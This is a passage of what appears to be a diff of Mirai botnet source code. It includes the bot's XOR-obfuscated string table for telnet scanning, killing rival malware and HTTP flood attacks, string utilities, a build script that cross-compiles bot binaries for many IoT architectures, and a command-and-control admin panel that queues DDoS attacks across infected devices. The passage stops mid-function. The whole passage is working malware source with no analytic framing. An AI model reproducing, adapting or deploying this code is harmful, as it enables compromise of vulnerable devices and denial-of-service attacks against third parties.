add_entry(TABLE_MEM_ZOLLARD, "\x58\x4D\x4E\x4E\x43\x50\x46\x22", 8);
add_entry(TABLE_MEM_REMAITEN, "\x65\x67\x76\x6E\x6D\x61\x63\x6E\x6B\x72\x22", 11);
add_entry(TABLE_SCAN_SHELL, "\x51\x4A\x47\x4E\x4E\x22", 6);
add_entry(TABLE_SCAN_ENABLE, "\x47\x4C\x43\x40\x4E\x47\x22", 7);
add_entry(TABLE_SCAN_SYSTEM, "\x51\x5B\x51\x56\x47\x4F\x22", 7);
add_entry(TABLE_SCAN_SH, "\x51\x4A\x22", 3);
add_entry(TABLE_SCAN_QUERY, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x6F\x6B\x70\x63\x6B\x22", 19);
add_entry(TABLE_SCAN_RESP, "\x6F\x6B\x70\x63\x6B\x18\x02\x43\x52\x52\x4E\x47\x56\x02\x4C\x4D\x56\x02\x44\x4D\x57\x4C\x46\x22", 24);
add_entry(TABLE_SCAN_NCORRECT, "\x4C\x41\x4D\x50\x50\x47\x41\x56\x22", 9);
add_entry(TABLE_SCAN_PS, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x52\x51\x22", 16);
add_entry(TABLE_SCAN_KILL_9, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x49\x4B\x4E\x4E\x02\x0F\x1B\x02\x22", 22);
add_entry(TABLE_ATK_VSE, "\x76\x71\x4D\x57\x50\x41\x47\x02\x67\x4C\x45\x4B\x4C\x47\x02\x73\x57\x47\x50\x5B\x22", 21);
add_entry(TABLE_ATK_RESOLVER, "\x0D\x47\x56\x41\x0D\x50\x47\x51\x4D\x4E\x54\x0C\x41\x4D\x4C\x44\x22", 17);
add_entry(TABLE_ATK_NSERV, "\x4C\x43\x4F\x47\x51\x47\x50\x54\x47\x50\x02\x22", 12);
add_entry(TABLE_ATK_KEEP_ALIVE, "\x61\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x02\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 23);
add_entry(TABLE_ATK_ACCEPT, "\x63\x41\x41\x47\x52\x56\x18\x02\x56\x47\x5A\x56\x0D\x4A\x56\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4A\x56\x4F\x4E\x09\x5A\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4F\x4E\x19\x53\x1F\x12\x0C\x1B\x0E\x4B\x4F\x43\x45\x47\x0D\x55\x47\x40\x52\x0E\x08\x0D\x08\x19\x53\x1F\x12\x0C\x1A\x22", 83);
add_entry(TABLE_ATK_ACCEPT_LNG, "\x63\x41\x41\x47\x52\x56\x0F\x6E\x43\x4C\x45\x57\x43\x45\x47\x18\x02\x47\x4C\x0F\x77\x71\x0E\x47\x4C\x19\x53\x1F\x12\x0C\x1A\x22", 32);
add_entry(TABLE_ATK_CONTENT_TYPE, "\x61\x4D\x4C\x56\x47\x4C\x56\x0F\x76\x5B\x52\x47\x18\x02\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x0F\x55\x55\x55\x0F\x44\x4D\x50\x4F\x0F\x57\x50\x4E\x47\x4C\x41\x4D\x46\x47\x46\x22", 48);
add_entry(TABLE_ATK_SET_COOKIE, "\x51\x47\x56\x61\x4D\x4D\x49\x4B\x47\x0A\x05\x22", 12);
add_entry(TABLE_ATK_REFRESH_HDR, "\x50\x47\x44\x50\x47\x51\x4A\x18\x22", 9);
add_entry(TABLE_ATK_LOCATION_HDR, "\x4E\x4D\x41\x43\x56\x4B\x4D\x4C\x18\x22", 10);
add_entry(TABLE_ATK_SET_COOKIE_HDR, "\x51\x47\x56\x0F\x41\x4D\x4D\x49\x4B\x47\x18\x22", 12);
add_entry(TABLE_ATK_CONTENT_LENGTH_HDR, "\x41\x4D\x4C\x56\x47\x4C\x56\x0F\x4E\x47\x4C\x45\x56\x4A\x18\x22", 16);
add_entry(TABLE_ATK_TRANSFER_ENCODING_HDR, "\x56\x50\x43\x4C\x51\x44\x47\x50\x0F\x47\x4C\x41\x4D\x46\x4B\x4C\x45\x18\x22", 19);
add_entry(TABLE_ATK_CHUNKED, "\x41\x4A\x57\x4C\x49\x47\x46\x22", 8);
add_entry(TABLE_ATK_KEEP_ALIVE_HDR, "\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 11);
add_entry(TABLE_ATK_CONNECTION_HDR, "\x41\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x22", 12);
add_entry(TABLE_ATK_DOSARREST, "\x51\x47\x50\x54\x47\x50\x18\x02\x46\x4D\x51\x43\x50\x50\x47\x51\x56\x22", 18);
add_entry(TABLE_ATK_CLOUDFLARE_NGINX, "\x51\x47\x50\x54\x47\x50\x18\x02\x41\x4E\x4D\x57\x46\x44\x4E\x43\x50\x47\x0F\x4C\x45\x4B\x4C\x5A\x22", 25);
add_entry(TABLE_HTTP_ONE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111);
add_entry(TABLE_HTTP_TWO, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111);
add_entry(TABLE_HTTP_THREE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110);
add_entry(TABLE_HTTP_FOUR, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110);
add_entry(TABLE_HTTP_FIVE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x6F\x43\x41\x4B\x4C\x56\x4D\x51\x4A\x19\x02\x6B\x4C\x56\x47\x4E\x02\x6F\x43\x41\x02\x6D\x71\x02\x7A\x02\x13\x12\x7D\x13\x13\x7D\x14\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x14\x12\x13\x0C\x15\x0C\x15\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x74\x47\x50\x51\x4B\x4D\x4C\x0D\x1B\x0C\x13\x0C\x10\x02\x71\x43\x44\x43\x50\x4B\x0D\x14\x12\x13\x0C\x15\x0C\x15\x22", 117);
}
void table_unlock_val(uint8_t id)
{
struct table_value *val = &table[id];
#ifdef DEBUG
if (!val->locked)
{
printf("[table] Tried to double-unlock value %d\n", id);
return;
}
#endif
toggle_obf(id);
}
void table_lock_val(uint8_t id)
{
struct table_value *val = &table[id];
#ifdef DEBUG
if (val->locked)
{
printf("[table] Tried to double-lock value\n");
return;
}
#endif
toggle_obf(id);
}
char *table_retrieve_val(int id, int *len)
{
struct table_value *val = &table[id];
#ifdef DEBUG
if (val->locked)
{
printf("[table] Tried to access table.%d but it is locked\n", id);
return NULL;
}
#endif
if (len != NULL)
*len = (int)val->val_len;
return val->val;
}
static void add_entry(uint8_t id, char *buf, int buf_len)
{
char *cpy = malloc(buf_len);
util_memcpy(cpy, buf, buf_len);
table[id].val = cpy;
table[id].val_len = (uint16_t)buf_len;
#ifdef DEBUG
table[id].locked = TRUE;
#endif
}
static void toggle_obf(uint8_t id)
{
int i;
struct table_value *val = &table[id];
uint8_t k1 = table_key & 0xff,
k2 = (table_key >> 8) & 0xff,
k3 = (table_key >> 16) & 0xff,
k4 = (table_key >> 24) & 0xff;
for (i = 0; i < val->val_len; i++)
{
val->val[i] ^= k1;
val->val[i] ^= k2;
val->val[i] ^= k3;
val->val[i] ^= k4;
}
#ifdef DEBUG
val->locked = !val->locked;
#endif
}

84
mirai/bot/table.h Executable file
View File

@ -0,0 +1,84 @@
#pragma once
#include <stdint.h>
#include "includes.h"
struct table_value {
char *val;
uint16_t val_len;
#ifdef DEBUG
BOOL locked;
#endif
};
/* Generic bot info */
#define TABLE_PROCESS_ARGV 1
#define TABLE_EXEC_SUCCESS 2
#define TABLE_CNC_DOMAIN 3
#define TABLE_CNC_PORT 4
/* Killer data */
#define TABLE_KILLER_SAFE 5
#define TABLE_KILLER_PROC 6
#define TABLE_KILLER_EXE 7
#define TABLE_KILLER_DELETED 8 /* " (deleted)" */
#define TABLE_KILLER_FD 9 /* "/fd" */
#define TABLE_KILLER_ANIME 10 /* .anime */
#define TABLE_KILLER_STATUS 11
#define TABLE_MEM_QBOT 12
#define TABLE_MEM_QBOT2 13
#define TABLE_MEM_QBOT3 14
#define TABLE_MEM_UPX 15
#define TABLE_MEM_ZOLLARD 16
#define TABLE_MEM_REMAITEN 17
/* Scanner data */
#define TABLE_SCAN_CB_DOMAIN 18 /* domain to connect to */
#define TABLE_SCAN_CB_PORT 19 /* Port to connect to */
#define TABLE_SCAN_SHELL 20 /* 'shell' to enable shell access */
#define TABLE_SCAN_ENABLE 21 /* 'enable' to enable shell access */
#define TABLE_SCAN_SYSTEM 22 /* 'system' to enable shell access */
#define TABLE_SCAN_SH 23 /* 'sh' to enable shell access */
#define TABLE_SCAN_QUERY 24 /* echo hex string to verify login */
#define TABLE_SCAN_RESP 25 /* utf8 version of query string */
#define TABLE_SCAN_NCORRECT 26 /* 'ncorrect' to fast-check for invalid password */
#define TABLE_SCAN_PS 27 /* "/bin/busybox ps" */
#define TABLE_SCAN_KILL_9 28 /* "/bin/busybox kill -9 " */
/* Attack strings */
#define TABLE_ATK_VSE 29 /* TSource Engine Query */
#define TABLE_ATK_RESOLVER 30 /* /etc/resolv.conf */
#define TABLE_ATK_NSERV 31 /* "nameserver " */
#define TABLE_ATK_KEEP_ALIVE 32 /* "Connection: keep-alive" */
#define TABLE_ATK_ACCEPT 33 // "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" // */
#define TABLE_ATK_ACCEPT_LNG 34 // "Accept-Language: en-US,en;q=0.8"
#define TABLE_ATK_CONTENT_TYPE 35 // "Content-Type: application/x-www-form-urlencoded"
#define TABLE_ATK_SET_COOKIE 36 // "setCookie('"
#define TABLE_ATK_REFRESH_HDR 37 // "refresh:"
#define TABLE_ATK_LOCATION_HDR 38 // "location:"
#define TABLE_ATK_SET_COOKIE_HDR 39 // "set-cookie:"
#define TABLE_ATK_CONTENT_LENGTH_HDR 40 // "content-length:"
#define TABLE_ATK_TRANSFER_ENCODING_HDR 41 // "transfer-encoding:"
#define TABLE_ATK_CHUNKED 42 // "chunked"
#define TABLE_ATK_KEEP_ALIVE_HDR 43 // "keep-alive"
#define TABLE_ATK_CONNECTION_HDR 44 // "connection:"
#define TABLE_ATK_DOSARREST 45 // "server: dosarrest"
#define TABLE_ATK_CLOUDFLARE_NGINX 46 // "server: cloudflare-nginx"
/* User agent strings */
#define TABLE_HTTP_ONE 47 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */
#define TABLE_HTTP_TWO 48 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */
#define TABLE_HTTP_THREE 49 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */
#define TABLE_HTTP_FOUR 50 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */
#define TABLE_HTTP_FIVE 51 /* "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" */
#define TABLE_MAX_KEYS 52 /* Highest value + 1 */
void table_init(void);
void table_unlock_val(uint8_t);
void table_lock_val(uint8_t);
char *table_retrieve_val(int, int *);
static void add_entry(uint8_t, char *, int);
static void toggle_obf(uint8_t);

291
mirai/bot/util.c Executable file
View File

@ -0,0 +1,291 @@
#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdlib.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
#include "includes.h"
#include "util.h"
#include "table.h"
int util_strlen(char *str)
{
int c = 0;
while (*str++ != 0)
c++;
return c;
}
BOOL util_strncmp(char *str1, char *str2, int len)
{
int l1 = util_strlen(str1), l2 = util_strlen(str2);
if (l1 < len || l2 < len)
return FALSE;
while (len--)
{
if (*str1++ != *str2++)
return FALSE;
}
return TRUE;
}
BOOL util_strcmp(char *str1, char *str2)
{
int l1 = util_strlen(str1), l2 = util_strlen(str2);
if (l1 != l2)
return FALSE;
while (l1--)
{
if (*str1++ != *str2++)
return FALSE;
}
return TRUE;
}
int util_strcpy(char *dst, char *src)
{
int l = util_strlen(src);
util_memcpy(dst, src, l + 1);
return l;
}
void util_memcpy(void *dst, void *src, int len)
{
char *r_dst = (char *)dst;
char *r_src = (char *)src;
while (len--)
*r_dst++ = *r_src++;
}
void util_zero(void *buf, int len)
{
char *zero = buf;
while (len--)
*zero++ = 0;
}
int util_atoi(char *str, int base)
{
unsigned long acc = 0;
int c;
unsigned long cutoff;
int neg = 0, any, cutlim;
do {
c = *str++;
} while (util_isspace(c));
if (c == '-') {
neg = 1;
c = *str++;
} else if (c == '+')
c = *str++;
cutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX;
cutlim = cutoff % (unsigned long)base;
cutoff /= (unsigned long)base;
for (acc = 0, any = 0;; c = *str++) {
if (util_isdigit(c))
c -= '0';
else if (util_isalpha(c))
c -= util_isupper(c) ? 'A' - 10 : 'a' - 10;
else
break;
if (c >= base)
break;
if (any < 0 || acc > cutoff || acc == cutoff && c > cutlim)
any = -1;
else {
any = 1;
acc *= base;
acc += c;
}
}
if (any < 0) {
acc = neg ? LONG_MIN : LONG_MAX;
} else if (neg)
acc = -acc;
return (acc);
}
char *util_itoa(int value, int radix, char *string)
{
if (string == NULL)
return NULL;
if (value != 0)
{
char scratch[34];
int neg;
int offset;
int c;
unsigned int accum;
offset = 32;
scratch[33] = 0;
if (radix == 10 && value < 0)
{
neg = 1;
accum = -value;
}
else
{
neg = 0;
accum = (unsigned int)value;
}
while (accum)
{
c = accum % radix;
if (c < 10)
c += '0';
else
c += 'A' - 10;
scratch[offset] = c;
accum /= radix;
offset--;
}
if (neg)
scratch[offset] = '-';
else
offset++;
util_strcpy(string, &scratch[offset]);
}
else
{
string[0] = '0';
string[1] = 0;
}
return string;
}
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len)
{
int i, matched = 0;
if (mem_len > buf_len)
return -1;
for (i = 0; i < buf_len; i++)
{
if (buf[i] == mem[matched])
{
if (++matched == mem_len)
return i + 1;
}
else
matched = 0;
}
return -1;
}
int util_stristr(char *haystack, int haystack_len, char *str)
{
char *ptr = haystack;
int str_len = util_strlen(str);
int match_count = 0;
while (haystack_len-- > 0)
{
char a = *ptr++;
char b = str[match_count];
a = a >= 'A' && a <= 'Z' ? a | 0x60 : a;
b = b >= 'A' && b <= 'Z' ? b | 0x60 : b;
if (a == b)
{
if (++match_count == str_len)
return (ptr - haystack);
}
else
match_count = 0;
}
return -1;
}
ipv4_t util_local_addr(void)
{
int fd;
struct sockaddr_in addr;
socklen_t addr_len = sizeof (addr);
errno = 0;
if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
{
#ifdef DEBUG
printf("[util] Failed to call socket(), errno = %d\n", errno);
#endif
return 0;
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);
addr.sin_port = htons(53);
connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
getsockname(fd, (struct sockaddr *)&addr, &addr_len);
close(fd);
return addr.sin_addr.s_addr;
}
char *util_fdgets(char *buffer, int buffer_size, int fd)
{
int got = 0, total = 0;
do
{
got = read(fd, buffer + total, 1);
total = got == 1 ? total + 1 : total;
}
while (got == 1 && total < buffer_size && *(buffer + (total - 1)) != '\n');
return total == 0 ? NULL : buffer;
}
static inline int util_isupper(char c)
{
return (c >= 'A' && c <= 'Z');
}
static inline int util_isalpha(char c)
{
return ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z'));
}
static inline int util_isspace(char c)
{
return (c == ' ' || c == '\t' || c == '\n' || c == '\12');
}
static inline int util_isdigit(char c)
{
return (c >= '0' && c <= '9');
}

22
mirai/bot/util.h Executable file
View File

@ -0,0 +1,22 @@
#pragma once
#include "includes.h"
int util_strlen(char *);
BOOL util_strncmp(char *, char *, int);
BOOL util_strcmp(char *, char *);
int util_strcpy(char *, char *);
void util_memcpy(void *, void *, int);
void util_zero(void *, int);
int util_atoi(char *, int);
char *util_itoa(int, int, char *);
int util_memsearch(char *, int, char *, int);
int util_stristr(char *, int, char *);
ipv4_t util_local_addr(void);
char *util_fdgets(char *, int, int);
static inline int util_isupper(char);
static inline int util_isalpha(char);
static inline int util_isspace(char);
static inline int util_isdigit(char);

63
mirai/build.sh Executable file
View File

@ -0,0 +1,63 @@
#!/bin/bash
FLAGS=""
function compile_bot {
"$1-gcc" -std=c99 $3 bot/*.c -O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,--gc-sections -o release/"$2" -DMIRAI_BOT_ARCH=\""$1"\"
"$1-strip" release/"$2" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr
}
if [ $# == 2 ]; then
if [ "$2" == "telnet" ]; then
FLAGS="-DMIRAI_TELNET"
elif [ "$2" == "ssh" ]; then
FLAGS="-DMIRAI_SSH"
fi
else
echo "Missing build type."
echo "Usage: $0 <debug | release> <telnet | ssh>"
fi
if [ $# == 0 ]; then
echo "Usage: $0 <debug | release> <telnet | ssh>"
elif [ "$1" == "release" ]; then
rm release/mirai.*
rm release/miraint.*
go build -o release/cnc cnc/*.go
compile_bot i586 mirai.x86 "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot mips mirai.mips "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot mipsel mirai.mpsl "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot armv4l mirai.arm "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot armv5l mirai.arm5n "$FLAGS -DKILLER_REBIND_SSH"
compile_bot armv6l mirai.arm7 "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot powerpc mirai.ppc "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot sparc mirai.spc "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot m68k mirai.m68k "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot sh4 mirai.sh4 "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot i586 miraint.x86 "-static"
compile_bot mips miraint.mips "-static"
compile_bot mipsel miraint.mpsl "-static"
compile_bot armv4l miraint.arm "-static"
compile_bot armv5l miraint.arm5n " "
compile_bot armv6l miraint.arm7 "-static"
compile_bot powerpc miraint.ppc "-static"
compile_bot sparc miraint.spc "-static"
compile_bot m68k miraint.m68k "-static"
compile_bot sh4 miraint.sh4 "-static"
go build -o release/scanListen tools/scanListen.go
elif [ "$1" == "debug" ]; then
gcc -std=c99 bot/*.c -DDEBUG "$FLAGS" -static -g -o debug/mirai.dbg
mips-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.mips
armv4l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm
armv6l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm7
sh4-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.sh4
gcc -std=c99 tools/enc.c -g -o debug/enc
gcc -std=c99 tools/nogdb.c -g -o debug/nogdb
gcc -std=c99 tools/badbot.c -g -o debug/badbot
go build -o debug/cnc cnc/*.go
go build -o debug/scanListen tools/scanListen.go
else
echo "Unknown parameter $1: $0 <debug | release>"
fi

269
mirai/cnc/admin.go Executable file
View File

@ -0,0 +1,269 @@
package main
import (
"fmt"
"net"
"time"
"strings"
"io/ioutil"
"strconv"
)
type Admin struct {
conn net.Conn
}
func NewAdmin(conn net.Conn) *Admin {
return &Admin{conn}
}
func (this *Admin) Handle() {
this.conn.Write([]byte("\033[?1049h"))
this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
defer func() {
this.conn.Write([]byte("\033[?1049l"))
}()
headerb, err := ioutil.ReadFile("prompt.txt")
if err != nil {
return
}
header := string(headerb)
this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1)))
// Get username
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m"))
username, err := this.ReadLine(false)
if err != nil {
return
}
// Get password
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))
password, err := this.ReadLine(true)
if err != nil {
return
}
this.conn.SetDeadline(time.Now().Add(120 * time.Second))
this.conn.Write([]byte("\r\n"))
spinBuf := []byte{'-', '\\', '|', '/'}
for i := 0; i < 15; i++ {
this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)]))
time.Sleep(time.Duration(300) * time.Millisecond)
}
var loggedIn bool
var userInfo AccountInfo
if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n"))
this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m"))
buf := make([]byte, 1)
this.conn.Read(buf)
return
}
this.conn.Write([]byte("\r\n\033[0m"))
this.conn.Write([]byte("[+] DDOS | Succesfully hijacked connection\r\n"))
time.Sleep(250 * time.Millisecond)
this.conn.Write([]byte("[+] DDOS | Masking connection from utmp+wtmp...\r\n"))
time.Sleep(500 * time.Millisecond)
this.conn.Write([]byte("[+] DDOS | Hiding from netstat...\r\n"))
time.Sleep(150 * time.Millisecond)
this.conn.Write([]byte("[+] DDOS | Removing all traces of LD_PRELOAD...\r\n"))
for i := 0; i < 4; i++ {
time.Sleep(100 * time.Millisecond)
this.conn.Write([]byte(fmt.Sprintf("[+] DDOS | Wiping env libc.poison.so.%d\r\n", i + 1)))
}
this.conn.Write([]byte("[+] DDOS | Setting up virtual terminal...\r\n"))
time.Sleep(1 * time.Second)
go func() {
i := 0
for {
var BotCount int
if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
BotCount = userInfo.maxBots
} else {
BotCount = clientList.Count()
}
time.Sleep(time.Second)
if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
this.conn.Close()
break
}
i++
if i % 60 == 0 {
this.conn.SetDeadline(time.Now().Add(120 * time.Second))
}
}
}()
this.conn.Write([]byte("\033[37;1m[!] Sharing access IS prohibited!\r\n[!] Do NOT share your credentials!\r\n\033[36;1mReady\r\n"))
for {
var botCatagory string
var botCount int
this.conn.Write([]byte("\033[32;1m" + username + "@botnet# \033[0m"))
cmd, err := this.ReadLine(false)
if err != nil || cmd == "exit" || cmd == "quit" {
return
}
if cmd == "" {
continue
}
botCount = userInfo.maxBots
if userInfo.admin == 1 && cmd == "adduser" {
this.conn.Write([]byte("Enter new username: "))
new_un, err := this.ReadLine(false)
if err != nil {
return
}
this.conn.Write([]byte("Enter new password: "))
new_pw, err := this.ReadLine(false)
if err != nil {
return
}
this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
max_bots_str, err := this.ReadLine(false)
if err != nil {
return
}
max_bots, err := strconv.Atoi(max_bots_str)
if err != nil {
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
continue
}
this.conn.Write([]byte("Max attack duration (-1 for none): "))
duration_str, err := this.ReadLine(false)
if err != nil {
return
}
duration, err := strconv.Atoi(duration_str)
if err != nil {
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
continue
}
this.conn.Write([]byte("Cooldown time (0 for none): "))
cooldown_str, err := this.ReadLine(false)
if err != nil {
return
}
cooldown, err := strconv.Atoi(cooldown_str)
if err != nil {
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
continue
}
this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
confirm, err := this.ReadLine(false)
if err != nil {
return
}
if confirm != "y" {
continue
}
if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
} else {
this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
}
continue
}
if userInfo.admin == 1 && cmd == "botcount" {
m := clientList.Distribution()
for k, v := range m {
this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v)))
}
continue
}
if cmd[0] == '-' {
countSplit := strings.SplitN(cmd, " ", 2)
count := countSplit[0][1:]
botCount, err = strconv.Atoi(count)
if err != nil {
this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
continue
}
if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
continue
}
cmd = countSplit[1]
}
if userInfo.admin == 1 && cmd[0] == '@' {
cataSplit := strings.SplitN(cmd, " ", 2)
botCatagory = cataSplit[0][1:]
cmd = cataSplit[1]
}
atk, err := NewAttack(cmd, userInfo.admin)
if err != nil {
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
} else {
buf, err := atk.Build()
if err != nil {
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
} else {
if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
} else if !database.ContainsWhitelistedTargets(atk) {
clientList.QueueBuf(buf, botCount, botCatagory)
} else {
fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
}
}
}
}
}
func (this *Admin) ReadLine(masked bool) (string, error) {
buf := make([]byte, 1024)
bufPos := 0
for {
